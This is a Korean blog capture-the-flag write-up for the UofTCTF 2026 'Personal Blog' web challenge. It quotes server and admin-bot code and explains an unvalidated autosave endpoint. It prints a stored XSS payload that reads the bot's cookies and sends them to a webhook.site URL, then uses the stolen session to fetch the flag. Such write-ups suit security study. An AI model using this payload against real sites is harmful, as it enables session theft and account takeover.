본문 바로가기

웹해킹/CTF

UofTCTF 2026 - Personal Blog Writeup

반응형

 

UofTCTF 2026 - Personal Blog Writeup

해외대회에서 처음 먹은 퍼스트블러드였다.

 

아래처럼 설명이 있다.

For your eyes only?

Visit the website here.

Author: janky

 

1. analyze

server.js

/api/autosave에서 rawContent에 대한 입력 값 검증이 없는 것이 보였다.

app.post('/api/autosave', requireLogin, (req, res) => {
  const db = req.db;
  const postId = Number.parseInt(req.body.postId, 10);
  if (!Number.isFinite(postId)) {
    return res.status(400).json({ ok: false });
  }
  const post = getPostById(db, req.user.id, postId);
  if (!post) {
    return res.status(404).json({ ok: false });
  }
  const rawContent = String(req.body.content || '');
  post.draftContent = rawContent;
  post.updatedAt = Date.now();
  saveDb(db);
  return res.json({ ok: true });
});

 

report 시 bot을 부를 수 있다.

app.post('/report', requireLogin, async (req, res) => {
  const rawUrl = (req.body.url || '').trim();
  const target = normalizeReportUrl(rawUrl);
  if (!target) {
    return res.render('report', reportContext(null, 'Only local URLs are allowed.'));
  }
  if (POW_ENABLED) {
    const challenge = req.body.pow_challenge || '';
    const solution = req.body.pow_solution || '';
    if (!powCheck(challenge, solution, POW_DIFFICULTY)) {
      return res.render('report', reportContext(null, 'Proof of work failed.'));
    }
  }

  try {
    const response = await fetch(`${BOT_ORIGIN}/visit`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ url: target })
    });

    if (!response.ok) {
      throw new Error(`bot status ${response.status}`);
    }

    return res.render('report', reportContext('Admin is on the way.', null));
  } catch (err) {
    return res.render('report', reportContext(null, 'Bot request failed. Try again in a moment.'));
  }
});

 

/bot/index.js

봇은 report를 받아서 해당 target에 방문을 해준다. 

app.post('/visit', async (req, res) => {
  const target = String(req.body.url || '');
  if (!isLocalUrl(target)) {
    return res.status(400).json({ ok: false, error: 'invalid url' });
  }
  loginAndVisit(target).catch((err) => {
    console.log(err);
  });
  return res.status(202).json({ ok: true, status: 'started' });
});

app.listen(PORT, () => {
  console.log(`admin bot listening on ${PORT}`);
});

 

 

 

 

Exploit

 

1. Stored XSS를 이용하여 봇의 쿠키를 훔쳐서 웹훅에 전달하는 content를 /api/autosave에 저장

< img src = x onerror = \"
try {
    const m = document.cookie.match(/(?:^|;\\s*)sid_prev=([^;]+)/);
    const v = m ? m[1] : 'NO_SID_PREV';
    fetch('https://webhook.site/WEBHOOK_ID?sid_prev=' + encodeURIComponent(v) + '&cookie=' + encodeURIComponent(document.cookie));
} catch (e) {
    fetch('https://webhook.site/WEBHOOK_ID?err=' + encodeURIComponent(String(e)));
}\
">

 

 

 

2. /magic/generate를 통해 토큰생성

 

3. 웹훅에서 쿠키 확인이 되었으니 쿠키 바꿔서 /flag 접근 시 FLAG 획득 가능

 

  1. uoftctf{533M5_l1k3_17_W4snt_50_p3r50n41...}
     

 

 

 

 

728x90

'웹해킹 > CTF' 카테고리의 다른 글

ASIS CTF Final - ricks gallery 정리  (0) 2025.12.29
shaktiCTF25 web Writeup  (3) 2025.07.27
GCHD CTF Web PoC - SSTI URL Health Check and Heapdump  (0) 2023.11.27
UDCTF 2023 web Writeup  (0) 2023.11.05
CCE-2023 연습문제 풀이 - baby web  (0) 2023.06.06